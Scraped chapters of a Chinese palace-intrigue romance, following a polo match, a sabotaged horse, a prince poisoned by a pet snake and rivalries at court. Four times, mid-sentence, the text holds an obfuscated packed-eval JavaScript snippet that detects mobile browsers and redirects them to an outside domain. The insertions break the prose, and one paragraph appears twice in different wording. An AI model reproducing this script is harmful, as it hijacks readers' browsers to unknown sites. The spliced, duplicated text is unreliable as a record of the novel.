顾晚樱闻言,不由苦涩一笑:“从前,我确实对权势并无兴趣,只求与家人安稳度日,若能与太子哥哥喜结连理,便已心满意足。然而,兄长惨遭不幸一事,让我突然意识到,若无权势庇佑,纵是至亲之人也无法守护,又何谈安然度日?” 姜姝宁感同身受,叹息道:“晚樱姑娘所言极是,皇权之下,众生皆如蝼蚁。” “那么,姜姑娘的答案是?”顾晚樱满怀期待地问道。 “抱歉,晚樱姑娘。”姜姝宁神色平静,语气浅淡,“你如此看得起我,我十分感激。但我恐怕无法与你联手。” “为什么?”顾晚樱脸色骤然一变,声音也变得尖锐起来,“你分明与我一样,都失去了可以依靠的兄长,我原以为我们能够同心协力!无论你想对付的是三皇子,还是四皇子,都只有依靠太子殿下这条路可走,不是吗?” 自然不是。 姜姝宁不忍心告诉她,虽然太子将来确实能登基为帝,当在位第二年,身子每况愈下,早已无力与萧凌川、萧修湛等人抗衡。 指望太子殿下扳倒四皇子和三皇子,无异于痴人说梦。 思忖片刻,姜姝宁斟词酌句地开口:“晚樱姑娘,若太子殿下确有夺权之心,不妨尝试与二皇子、五皇子结盟,或可向太后娘娘借势。此外,务必悉心照料太子殿下的龙体,这才是重中之重。正所谓留得青山在,不怕没柴烧。” 顾晚樱闻言,一时语塞。 太子体弱多病,素来为人所诟病,这亦是她心中挥之不去的隐忧。 她终究是太过急切了,一心只想为兄长报仇雪恨,反而忽略了最关键的一点。 姜姝宁的话提醒了她,保全太子的身体,才是当务之急。 “谢谢你,姜姑娘。”顾晚樱看着她,“我今日想与你结盟的请求,永远有效。若你什么时候改变心意,随时可以来找我!但愿将来我们有机会成为并肩作战的队友!” “多谢你,姜姑娘。”顾晚樱看着她,语气诚恳,“我今日邀你结盟之请,永远作数。若你日后改变主意,随时可以来寻我!但愿将来我们有机会并肩作战,共克时艰!” 姜姝宁微微颔首,离开时,心中思绪万千,感慨不已。 前世,顾晚樱当上皇后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620119|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜姝宁曾见过她几次。 那时的她,虽因终日忧心新帝的病情而略显愁容,但性情依旧温婉,丝毫看不出今日这般锋芒毕露、野心勃勃的模样。 看来,兄长的不幸离世,对她的打击实在是太大了,竟逼得一个原本柔弱无依的女子,不得不为自己的命运绸缪打算,奋力一搏。 她和夏嫣并肩走在返回雅座的路上。 夏嫣满怀憧憬道:“接下来便是男子组的比赛了,不知今年哪位皇子能拔得头筹?” 姜姝宁心领神会,笑道:“二皇子殿下骑术精湛,球技高超,想必定能摘得桂冠!” 夏嫣闻言,顿时羞红了脸颊,嗔怪道:“我何时提过他了?” 两人正嬉笑闲谈间,忽见前方出现一个熟悉的背影。 “是二皇子殿下!”夏嫣一眼便认出了那人,有些疑惑,“比赛即将开始,二皇子殿下这是要去往何处?” 她说着,便情不自禁地迈开脚步,想要一探究竟。 姜姝宁也只得一同跟了上去。 只见二皇子行至一处雅座附近,背对着她们,从袖中取出一个锦盒递给一年轻女子,语气轻柔地说道:“张姑娘,这是我特意去银楼为你挑选的簪子,不知你是否喜欢?” 那女子面露惊恐之色,连连推辞道:“二皇子殿下,臣女不敢随意收下殿下的礼物!” 姜姝宁定睛一看,这才发现,这名女子不是别人,竟是那日与姜天泽相看、对他下毒未遂的尚书之女——张嫣姑娘! “张姑娘,你就收下吧。”二皇子情真意切道,“待我日后功成名就,定会恳请父皇降下一道圣旨,风风光光地迎娶你进门!” 听到二皇子如此深情款款的话语,夏嫣的心脏仿佛被一只无形的大手紧紧攥住,痛得她浑身颤抖,几乎站立不稳。 姜姝宁见状,连忙上前搀扶住她,低声道:“我们回去吧。” 再继续留在此地,也只会徒增伤感。 毕竟,爱而不得,是这世间最难承受的痛苦。 走在回去的路上,夏嫣脸上满是苦涩,自嘲地说道:“原来,他喜欢的是张尚书之女张嫣那样温婉清秀的女子。我还以为,他与我切磋武艺,是因为喜欢舞刀弄枪的女子,还特意苦练了不少兵器招式想要展示给他看。姝宁,我是不是很傻?” 姜姝宁闻言,心口不由一滞,百感交集。 她轻声安慰道:“夏嫣,每个人都有自己独特的魅力与光芒,纵然二皇子并不欣赏你,你也绝不能因此而否定自己。” 然而,夏嫣早已听不进她的任何劝慰。 她神情恍惚,失魂落魄地喃喃自语道:“他会不会是因为,我和张嫣姑娘的名字一样,才在赏菊宴过后传召我入宫的?他把我当成了什么?张嫣姑娘的替身吗?” 第98章 满大街都是男人! 第九十八章满大街都是男人! 姜姝宁想起前世二皇子战死沙场后,夏嫣万念俱灰,毅然削发为尼,与青灯古佛相伴一生。 他心悦之人并非是她,她却为了他耗尽了自己的一生。 这般付出,实在太不值得了! “不过是个男子罢了,何必如此难以释怀?”姜姝宁恨铁不成钢地说道,“三条腿的**或许难找,两条腿的男人满大街都是!” “可满大街的男人,都不是他呀!”夏嫣委屈道。 “既然不是他,那便另觅良人!天下的好男儿多的是,为何非要在一棵树上吊死?” 话音未落,夏嫣忽然神色骤变,扯了扯她的衣袖。 姜姝宁这才发现,身着飒爽骑服的萧凌川与萧琪钰,正朝着她们迎面走来。 显然,他们已将她那番“满大街都是男人”的言论尽收耳中。 萧凌川俊美无俦的脸上阴云密布,而萧琪钰则竭力憋着笑。 “见过四皇子殿下、七皇子殿下!”她们连忙敛容正色,恭敬地行礼。 姜姝宁只觉得萧凌川的目光如实质般落在她身上,顿时如芒在背,如临大敌。 或许是顾及夏嫣在场,萧凌川并未当场发作,只是语气淡淡地说了一句“无需多礼”,便径直离开。 待他们走远之后,夏嫣心有余悸地嘟囔道:“姝宁,我怎么觉得四皇子殿下好像不太高兴?” 姜姝宁心想,他何止是不高兴,简直是怒火中烧。 若他的眼神是刀子,恐怕她现在早已被凌迟千百遍,尸骨无存了。 走在去马球场的路上,萧凌川浑身煞气,耳畔仿佛还回响着方才姜姝宁那番掷地有声的话语——“那便另觅良人!天下的好男儿多的是,为何非要在一棵树上吊死?” 所以,她重生之后,便打算另择佳偶了吗? 难怪如此招蜂引蝶! 就连萧怀瑾如今也跪倒在她的石榴裙下。 萧凌川越想越气,若不是那日他威胁她要杀了所有觊觎她的男子,她如今怕是早就移情别恋了吧? 一旁的萧琪钰没心没肺地调侃道:“原来嫂嫂竟是如此洒脱之人,四哥你可得当心点,小心嫂嫂哪天喜欢上别人!” “闭嘴!”萧凌川狠狠地瞪了他一眼,怒斥道,“你这张嘴,真是哪壶不开提哪壶!” 萧琪钰一脸委屈:“四哥,我开玩笑的,你犯得着发那么大的火吗?” 第二场马球赛的锣鼓声震天响起,扣人心弦的对决,正式拉开了帷幕。 除了体弱多病的太子殿下,其余六位皇子都上场了。 皇子之间的明争暗斗,无疑是这场马球赛最大的看点。 看台下的贵族宾客们,表面上不动声色,实则早已在心中暗暗盘算,默默押注自己看好的队伍。 只见赛场上,四皇子萧凌川、七皇子萧琪钰与二皇子殿下组成一队,而三皇子萧修湛、五皇子萧怀瑾则与六皇子殿下并肩作战,分庭抗礼。 六位皇子皆是骑术精湛,球技超群,各有所长,难分伯仲。 他们将武术与轻功融入马球赛中,使得这场比赛变得更加精彩绝伦。 目睹着他们那令人叹为观止的表现,姜姝宁这才恍然意识到,相比这六位皇子的激烈角逐,方才她们女子之间的比赛有多小儿科。 四皇子萧凌川与二皇子殿下皆有武术傍身,实力自然更胜一筹,因而在赛场上的表现也更为出色,所向披靡。 很快,比赛便分出了胜负,由萧凌川领衔的队伍最终赢得了这场激烈的对决,拔得头筹。 当看客们爆发出震耳欲聋的欢呼声时,萧凌川立马将目光投向了姜姝宁所在的方向,那双深邃桃花眸中,满是难以掩饰的得意之色。 姜姝宁望着他,心中思绪万千,不禁回想起前世的萧凌川,此时还只是一个备受冷落的皇子,无论身处何种场合,都总是低调内敛,默默无闻。 若非他生了一副过于俊美出色的容貌,恐怕很难被人注意。 她不禁有些疑惑,前世的自己究竟为何对他如此痴迷? 难道仅仅是因为救命之恩吗? 还是因为他那张颠倒众生的脸庞? 她一时之间,竟不知是该吐槽自己太过肤浅,贪恋皮相,还是该怪罪萧凌川容貌太过出挑,惑人心神。 萧琪钰对萧凌川道:“四哥,你看,嫂嫂在看你!她肯定是被你精湛的骑术和球技所折服!” 萧凌川闻言,嘴角微微上扬,露出一个意味深长的笑容,却并未作答。 今生,他终于有了比一副好皮囊更加拿得出手的过人之处,足以让她为之倾倒的优点。 他自信能跟前世一样,俘获她的芳心。 萧凌川频频看向姜姝宁,这让席下的世家贵女们嫉妒不已。 四皇子殿下容貌俊美无俦,又深受圣上宠爱,如今就连马球都打得如此精妙绝伦,怎能不令她们这些待字闺中的妙龄女子为之倾心动容,魂牵梦萦? 然而,四皇子殿下那双迷人的桃花眼中,却仿佛只有姜姝宁一人而已,再也容不下其他人的身影。 她们纵然心中嫉妒,却又一时之间不知该如何挑剔姜姝宁的毛病,毕竟,方才姜姝宁在马球场上的表现,实在是太过惊艳。 世家贵女们不知道怎么做才能敛去姜姝宁的光芒,但姜瑶真知道。 她来到小公爷身旁,在他耳边低语了几句。 小公爷心领神会,随即清了清嗓子,面向在场的所有看客,朗声提议道:“方才诸位皇子殿下的表现,着实令人叹为观止,拍案叫绝。为了增添比赛的趣味性,不如在下一次的比赛中,改为男女搭配,混合组队如何?让各位皇子殿下自行挑选心仪的女子作为队友,一同并肩作战,岂不妙哉?” 此言一出,全场欢呼雀跃之声不绝于耳。 谁都想亲眼目睹一场由皇子殿下与世家贵女们共同参与的马球比赛,那场面,想想都令人热血沸腾。 众位皇子殿下闻言,亦欣然应允,纷纷表示赞同。 萧凌川想延续方才的荣耀,再次拔得头筹,赢得美人芳心;而萧修湛则一心想要将方才被萧凌川抢走的风头,重新夺回,一雪前耻。 很快他们就各自组好队伍,姜姝宁和夏嫣加入了萧凌川那一队,而姜瑶真和顾晚樱则加入了萧修湛一队。 席下有那好事之徒,高声打趣道:“这可是两支冠军队伍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620120|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强强联合啊!胜负之势,恐怕在比赛尚未开始之际,便已尘埃落定了吧!” 其他看客听罢,亦纷纷附和道:“是啊是啊!依我看,这场比赛的结果,早已注定,毫无悬念可言!” 小公爷见状,连忙出面打圆场:“各位,比赛尚未正式开始,鹿死谁手,尚未可知,不到最后一刻,谁又能断言结果不会出人意料呢?还请各位稍安勿躁,静下心来,认真观赛,拭目以待吧!” 说完,他走到姜姝宁身旁,摸了摸她骑着的那匹棕色马,仰头笑着对她道:“姜姑娘方才在赛场上的表现,可谓是艳惊四座,万众瞩目。我很期待你接下来的精彩表现!” 姜姝宁颔首:“小公爷谬赞!” 小公爷意味深长地看了她一眼,便转身离去。 看着他离去的背影,她总觉得有种莫名的古怪。 她虽和小公爷一起长大,但小公爷和姜瑶真的关系明显比跟她的关系好。 他又怎会会专程来为她加油打气? 难道是故意做给场上的观众看的? 正疑惑着,比赛开始的锣鼓声响起。 姜姝宁连忙收起思绪,将所有的注意力都集中到眼前的比赛之上,很快便沉浸在这场紧张刺激、你追我赶的激烈角逐之中。 她刚掌握了打马球的技巧,正是兴头上,只顾着抢球、打入网囊中,有几次甚至直接抢队友的球,自己打进网囊里。 偏偏萧凌川和夏嫣他们都很惯着她,有时候甚至故意把球让给她,让她尽情发挥。 她挥汗如雨、笑靥如花的样子,实在很难拒绝。 就连作为对手的五皇子萧怀瑾忍不住防水,让她轻而易举地夺走了马球。 眼见姜姝宁再次成为全场瞩目的焦点,姜瑶真心中妒火中烧。 她眼底掠过一丝阴狠:待会看你还如何得意! 就在这时,姜姝宁忽然感到有些不对劲,她胯下的坐骑变得越来越难以驾驭,让她在赛场上屡屡失误,错失了好几个绝佳的进球机会。 最终,那匹马竟彻底失去了控制,疯了似地朝着马球场外狂奔而去,任凭姜姝宁如何拉紧缰绳,都无济于事。 这突如其来的变故让在场所有人都大惊失色,萧凌川当即策马追了上去。 “姝宁,你到底怎么了?”他一边策马狂奔,一边沉声问。 “我不知道!”姜姝宁声音里带着一丝惊恐,“它、它不听我控制!” “松开缰绳,朝我这边跳过来,快!” “我、我不敢……”姜姝宁声音发颤。 话音未落,那匹发疯的马便突然腾空跃起,竟然准备直接跨越那高高的栅栏,冲出马球场! 这千钧一发至极,萧凌川松开缰绳,朝着姜姝宁猛扑过去,用尽全身力气将她紧紧抱在怀中。 两人重重地摔落在地,在地上翻滚了好几圈,这才停下来。 在场的所有人,都被这惊心动魄的一幕彻底惊呆了。 姜姝宁好不容易才从眩晕中清醒过来,她顾不得身上的疼痛,连忙转过头看向萧凌川。 只见他表情痛苦,紧紧地皱着眉头,那原本红润的薄唇,竟以肉眼可见的速度,迅速变成了黑色! 第99章 他**了 第九十九章他**了 “殿下,你怎么样了?”姜姝宁心急如焚,俯下身子关切地问。 萧凌川面色苍白,艰难地开口:“快让七弟去请孙神医来……我好像……**了……” 话未说完,他便阖上眼眸,陷入了昏迷之中。 姜姝宁还没来得及细想,萧琪钰已经骑着马追了过来。 他翻身下马,神情焦急地问:“嫂嫂,你和四哥没事吧?” “七皇子,四皇子殿下让你即刻去请孙神医前来救治,他说他**了!”姜姝宁语无伦次道。 “**?”萧琪钰一脸愕然,“方才四哥和你不是摔倒在地吗?怎么会突然**?” “我也不清楚……是四皇子临昏迷前,让我务必转告于你的。”姜姝宁也六神无主,满脸彷徨。 萧琪钰不敢怠慢,连忙查看萧凌川的情况,见其唇色黑紫,确是**之兆。 他脸色一沉,慌忙将萧凌川扶起。 此时几名大长公主府的仆人恰好赶来,帮着他将萧凌川抬上马背。 萧凌川被安置在一处独立的看棚之中,大长公主命人请来府中的医师,为他诊治。 府医仔细检查过后,神色凝重地向大长公主禀报道:“四皇子殿下的手臂受到了严重的撞击,已经骨折,不过这并非大碍,只需敷药静养一段时间,便可痊愈。然而,真正棘手的是四皇子殿下所中的剧毒,以微臣的医术,实在是无能为力啊!”“剧毒?哪来的毒?”大长公主脸色骤变。 “微臣方才在四皇子颈部发现两个细小的血洞,看起来像是蛇或者虫咬出来的牙印!微臣推测,方才四皇子殿下与姜姑娘一同落地时,不慎被潜伏在地上的毒蛇或毒虫咬伤,从而导致**!” “什么?”大长公主大惊失色。 若真是如此,那就意味着她的马球场中存在着带有剧毒的蛇虫,这事若是传出去,还有谁敢再来她的马球场? “此事事关重大,万万不可外传!你立刻给四皇子殿下服用解毒的药物,能拖延一时便是一时。我已经派人前去宫中,紧急求请御医前来诊治了!”大长公主心烦意乱,浑身颤抖。 若是四皇子殿下真的在她的马球场上**身亡,她定然难以逃脱罪责。 看棚外,姜姝宁焦灼不安。 终于看到大长公主从看棚里出来,她连忙上前行礼:“臣女拜见大长公主殿下。敢问殿下,四皇子殿下如今如何了?” 大长公主上下打量了她一番,发现她除了发髻凌乱,身上的衣衫沾染了一些尘土之外,身上竟没有任何外伤的痕迹。 她不由暗暗吃惊,她这四侄子还真是看重这位姜姑娘,竟将她护得如此周全。 “川儿他……不慎伤到了胳膊,我已经让府医给他接骨了,想必很快就会康复,不会有什么大碍的。姜姑娘,你一定是受到了惊吓,也乏了,快些回去休息吧!” 大长公主语气淡淡地说道,试图将她打发走。 方才萧凌川出事之后,她便已经命人将其他的宾客都护送回府了,唯独这姜姑娘执意不肯离去,非要留在这里。 大长公主有些担心她知道萧凌川**的事,想尽快打发她离开。 姜姝宁眉头紧蹙。 无大碍?怎么可能无大碍? 他都**了! 她还想追问,此时萧琪钰带着一位白发老者匆匆来到了看棚前。 大长公主蹙眉:“这位是……” 萧琪钰道:“姑母,这是我专程请来的大夫,医术高明,最擅长解毒!” 听到这话,大长公主脸色一变,沉声道:“快将大夫送进去!” 萧琪钰便带着老者进了看棚。 大长公主还想继续赶姜姝宁离开,萧琪钰忽然从看棚里走了出来。 “姜姑娘,还请您不要离开,待会四哥醒来,第一个想见的人一定是你!” 姜姝宁知道,他这话是专程说给大长公主听的,要不然,他也不会刻意叫她“姜姑娘”。 “是,七皇子,臣女定守在看棚外等四皇子殿下醒来!” 大长公主这才不得不打消叫她离开的念头。 她这四侄子在她的马球场出了事,待会若他醒来,还得好生安抚,以免他把事情闹大。 她在心中暗暗祈祷,但愿四侄子醒来时别太追究此事。 另一边,小公爷一脸惊恐:“怎么办,原本只想让姜姝宁当众**沦为众人的笑柄,没想到四表哥会忽然扑上去救他。若四表哥有个三长两短,陛下怪罪下来,我们国公府就麻烦了!” 姜瑶真白了他一眼,不以为然:“怕什么?如今那匹马已经不知所踪,谁知道你在马上动了手脚?再说了,四皇子受伤,那也是他逞英雄非要救姐姐所致,能怪谁?” 一想到萧凌川受伤,她心中便一阵快意。 活该,谁让他用**控制她和姨娘,逼姨娘为他做事? 这般手段阴狠之人,就该让他多吃点苦头! 小公爷依旧惴惴不安。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620121|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这时,几个世家贵女走了过来,看到姜瑶真,脸上露出了不屑的神情。 “你们姜家姑娘真是一个个都铆足了劲嫁进皇家。你如今是准三皇子妃了,你姐姐想必不日将是四皇子妃了,真是恭喜你们啊!” “就是说啊,你们姜家两姐妹从太后的赏菊宴开始就极尽表现,又是跳舞又是做糕点的,整个京城就数你们俩最张扬!如今总算得偿所愿了,姜家两个女儿都要和皇子定亲,可喜可贺呀!” 姜瑶真微微一笑,像是没听懂她们话里的阴阳怪气,笑着道:“谢谢姐姐们。不过,我姐姐也未必会和四皇子定亲,毕竟,五皇子殿下也钟情于她。两个皇子都如此优秀,她实在很难抉择。” “什么?一个四皇子还不够,还要勾搭五皇子?姜家嫡长女也太贪心了!” 贵女们嫉妒得面容扭曲,气鼓鼓地离开。 看着她们离去的背影,姜瑶真勾唇一笑。 她又不费吹灰之力便帮她姐姐树了敌。 萧凌川受伤,姜姝宁被贵女们妒恨,今天还真是个好日子啊! 姜姝宁站在看棚外,不知不觉便等到了黄昏。 五皇子萧怀瑾远远地便看见了她。 他快步走上前,脱下身上的外袍,小心地披在她的肩上。 “姜姑娘,夜晚的马球场空旷寒凉,仔细着凉。” “谢谢你,五皇子殿下。”姜姝宁拢了拢肩上的衣袍,上面还带着他的体温,她心中略微安定了些。 “四哥他……没事吧?” 姜姝宁摇了摇头:“方才七皇子带了个大夫来,直到现在都没出来。情况怕是有些棘手。” “放心吧,只是皮外伤。四哥略懂些武术,身子骨比寻常人强,他定会没事的。”萧怀瑾安慰道。 “但愿如此。” 她没有将萧凌川**的事情告诉他,方才她看得出大长公主似乎并不想将此事声张。 萧怀瑾思忖片刻,提议道:“姜姑娘,我送你回府吧?” “谢殿下好意,四皇子殿下还未醒来,臣女还不能走。”姜姝宁垂眸,“他毕竟是因救臣女才受的伤。” 听到这句话,萧怀瑾心中顿时涌起一股难以言喻的酸涩。 他懊悔自己在姜姝宁的马发疯时,没有第一时间冲上去救她,白白让萧凌川抢占了先机。 否则,如今她在看棚外等的人,便是他了。 他深吸了一口气,努力平复着内心的复杂情绪:“既然如此,那我陪你一起等!” 第100章 可怕得旗鼓相当 第一百章可怕得旗鼓相当 姜姝宁一惊。 “殿下,这……于理不合!臣女一个人在此等候便可,怎敢劳烦殿下?您还是先回去吧!” 待会若是被醒来的萧凌川知道,自己跟萧怀瑾一起在看棚外等候,指不定又要发什么神经。 顾亦庭见她如此坚决地拒绝自己,心中愈发感到酸楚。 “好吧……那我先回去了。你一个人在此,务必多加小心。”他强压下心中的失落,语气低沉地说道。 姜姝宁点了点头,轻声道:“殿下,若您在马球场门口看到我的婢女凌芜,还请您告知她一声,就说我晚些时候再回去。” “好。”萧怀瑾喉头有些干涩,艰难地应了下来。 看来,她是打定主意要等萧凌川醒来。 他转身刚迈出几步,像是忽然想起了什么,又转过身来,目光温润地凝视着她:“姜姑娘,我母妃花园里又新添了一只小鹿宝宝,若你有空,不妨来看看它们。” 他的语气带着一丝小心翼翼的期待。 看着他清隽温润的眉目,姜姝宁根本说不出拒绝的话来。 “好。” 得到她的答复,他这才露出心满意足的笑,继而转身离开。 看着他渐行渐远的背影,姜姝宁的心口涌起一阵难以言喻的酸涩。 对不起,五皇子。 往后,我怕是再也不能和你有任何交集了。 萧怀瑾刚离开看棚不久,就碰到笑得一脸意味深长的三皇子萧修湛。 “五弟这是怎么了?一脸失魂落魄。不会是被姜姑娘给拒绝了吧?” 萧怀瑾神色陡然变得阴沉。 “这与三哥无关!”他声音低沉而冰冷,带着一丝警告的意味。 “五弟你实在太温善了,哪里是四弟的对手?人家只不过使了个苦肉计,便将姜姑娘搅得心绪不宁。再这样下去,你只能眼睁睁地看着四弟抱得美人归了!” 这句话如同利箭,狠狠地刺中了萧怀瑾的心口,让他一直压抑的情绪瞬间爆发。 他猛地抬起头,目光骤然变得冷厉,如同寒冬腊月的冰刀,直直地射向萧修湛。“难道三哥有法子帮我俘获姜姑娘的芳心?若我没记错,三哥当初也想过求娶姜姑娘的吧?后来不也是以失败告终?三哥都做不到的事,有什么资格在这对我指手画脚?” “你……”萧修湛语塞,像是被人狠狠地扇了一巴掌,脸色变得难看至极。 没想到平日里看起来温润无害的五弟,竟也有如此言语犀利的时候。 “我是担心你和姜姑娘无法终成眷属,你怎么扯到我身上来了?”萧修湛强压下心中的怒火,语气放缓了一些,“好了,五弟,我没别的意思,就想和你合作。你看,你的母族崔家是做生意的,我如今对生意也颇感兴趣,就算你对夺权没兴趣,我们兄弟不也是可以一起做生意吗?” “做生意?”萧怀瑾冷笑起来,“三哥想跟崔家做什么生意?是那藏污纳垢的青楼,还是不见天日的地下赌场?亦或是丧尽天良的人牙买卖?” 听到这话,萧修湛脸色骤变。 “你……你调查我?” “我没那么多闲工夫。”萧怀瑾冷声道,“只是有人告诉我的罢了。三哥,既然已经有人知道你做的这些肮脏生意,说不定父皇也已经有所察觉了。我劝你还是见好就收!” 说完,他径直转身离开。 萧修湛站在原地,额头渗出冷汗,脸色也愈发苍白。 可恶,是谁告诉他的? 难道……是萧凌川? 不,不可能,他向来谨慎小心,萧凌川又哪来那么大的本事,能够查到这些事情? 他越想越觉得不对劲,像是有一团乱麻堵在心口,让他烦躁不安。 不知道从何时开始,萧凌川这个他从小就瞧不起的四弟,竟然变成了如今这副让他忌惮的模样。 这当中,究竟发生了什么? 不行,他不能再这样坐以待毙了。 若萧怀瑾不愿和他联手,他得尽快找到新的盟友。 他不信扳不倒萧凌川! 太阳落山后,空旷的马球场逐渐被夜幕笼罩,寒意也愈发浓重起来。 姜姝宁紧了紧肩上的外袍。 就在这时,萧琪钰从看棚里走了出来,脸上带着一丝如释重负的笑意:“嫂嫂,四哥醒了!” 姜姝宁顿时松了一口气,连忙跟着他进了看棚。 映入眼帘的,是面色苍白、嘴唇毫无血色的萧凌川。 他斜靠在软榻之上,右边手臂缠着厚厚的纱布,仿佛一头被折翼的雄鹰,透着几分脆弱和狼狈。 姜姝宁心底涌起一股难以言喻的复杂情绪,有感激,也有亏欠。 她没想到在那种危急的情况下,萧凌川竟会如此奋不顾身地救下自己,还因此受了重伤。 她上前小心翼翼地问:“殿下,你好些了吗?” 萧凌川目不转睛地看着她,桃花眸中墨色翻涌。 他伸出没有受伤的左手,轻轻地握住她的右手,低声道:“本来不好的,现在看到你,就感觉好多了。” 这话透着几分缱绻和依恋,像极了情人间的低语。 一旁的花白胡子老者轻咳了一声,对萧琪钰道:“看来我们得先行离开了,免得打扰到四皇子和这位姑娘互诉衷肠!” 姜姝宁顿时满脸通红。 她将手从萧凌川掌心里抽出,起身朝老者行了个礼:“想必您就是孙神医吧?不知神医可否告知,殿下伤势如何?他为何会**?” 孙神医答道:“殿下所中的毒十分罕见,老夫行医数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620122|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十年,也是第一次见到。不过,从他脖颈处的伤口来看,应当是被身带剧毒的小蛇或者毒虫咬伤所致。” “小蛇?”姜姝宁一惊,下意识摸向腕间,那条小白蛇还跟往常一样缠在她的手腕上,不仔细看还以为是个通体雪白的玉镯,毫无杀伤力。 她将小白蛇拿下来,递给孙神医:“孙神医,是这样大小的蛇吗?” 话音未落,那条原本温顺乖巧的小白蛇,竟突然朝着孙神医张开了嘴巴,发出“嘶嘶”的威胁声。 若不是姜姝宁眼疾手快,紧紧地捏着它的尾巴,恐怕它早就已经扑上去,狠狠地咬孙神医一口了。 就在这时,她瞥见了小白蛇的口中,竟然残留着一些已经干涸的血迹! 一股不祥的猜测袭上她的心头。 孙神医眯起眼眸,仔细打量这条小白蛇:“姜姑娘,这蛇怎么会在你身上?” “它是我三弟送给我的宠物。”姜姝宁不安地问,“孙神医,难道它有毒?” 孙神医拿出一根银针,趁拿小蛇不注意之际,飞快刺进它两侧眼后毒腺所在的位置,拔出来时,银针已经变成了黑色。 “看来,这蛇不仅有毒,还是剧毒啊!”孙神医语气凝重道,“若非老夫及时赶到,恐怕四皇子这条命,真的要栽在这条看似无害的小蛇口下了!” 姜姝宁顿时头皮发麻。 她一脸愧疚地看向萧凌川:“对不起,殿下,我不知道这蛇有毒,我三弟也没告诉我。他只说,这蛇很温顺,让我带着防身用。……要不,我现在就将它杀了!” 话虽这么说,但她看着在她手中变得温顺无比的小白蛇,压根不知如何下手。 萧凌川知道她口中的三弟姜天泽是南月毒师的后代,所以对他送她的小蛇有毒这件事并不惊讶。 “既然是你三弟送给你防身用的宠物,那便养着吧。” “那怎么行?万一下次它再伤到你怎么办?” “我已服下解药,往后它的毒便伤不了我了。”萧凌川神色轻松道,显然并不在意。 “可它会伤到别人!” 姜姝宁脊背发凉,姜天泽竟将如此危险的毒蛇当宠物送给她,难道就没考虑到后果吗? 万一孙神医没有及时赶到,万一今日伤到的是别人…… 姜姝宁不敢往下想。 “这蛇方才以为我要伤害你,才张口咬我的。”萧凌川道,“它只是护主,并没有过错。就像黑豹,若有人要伤害我,它也会毫不犹豫地扑上去咬对方。这是宠物护主的本能,不能怪它。” 这话没有安慰到姜姝宁,反而令她愈发不安。 从前她就觉得萧凌川和姜天泽容貌昳丽,长相有些相似。 如今一想到他们都喜欢饲养有毒的宠物,更是觉得他们可怕得有些旗鼓相当。 第101章 你别不要它,好不好? 第一百零一章你别不要它,好不好? 萧凌川目光忽然落在姜姝宁身上披着的外袍上,长眉微蹙:“这袍子是谁的?怎么看起来那么眼熟?” 姜姝宁一惊,连忙转移话题:“殿下有没有特别想吃的东西?臣女回去给殿下做。” 听到这话,萧凌川紧绷的神色这才松懈下来。 他毫不客气地报出一连串的菜名,全是前世她常给他做的家常菜。 一旁的萧琪钰见状,忍不住在心中暗暗腹诽,四哥可真是狮子大开口,仗着自己救了嫂嫂,竟一口气报了那么多菜名,嫂嫂肯给你做才怪! 没想到姜姝宁竟一口答应下来:“殿下,臣女记下了,明日便陆续做给您吃。” 萧琪钰目瞪口呆:你这就记下了? 这满汉全席的菜也没这么多道啊,你竟全记下了? 萧凌川颔首:“今晚我便回景和宫,你明日去宫里找我。” “是,殿下。若无其他事,臣女先行退下了。臣女的婢女还在马球场外等候臣女。”姜姝宁生怕他看出自己身上披的是萧怀瑾的外袍,只想尽快离开。 “慢着。”萧凌川突然开口,声音低沉。 察觉到他的目光再次落在她身上,姜姝宁心弦瞬间绷紧,如临大敌。。 完了,他肯定是发现她身上披的是萧怀瑾的衣服,不知道又要如何大发雷霆、兴师问罪了。 但愿不要迁怒到萧怀瑾身上。 她小心翼翼地问:“殿下还有事?” 萧凌川淡淡开口:“皇祖母近来身上起了红疹,太医给她开的药她嫌苦涩不愿吃,导致红疹反复发作,至今未愈。” 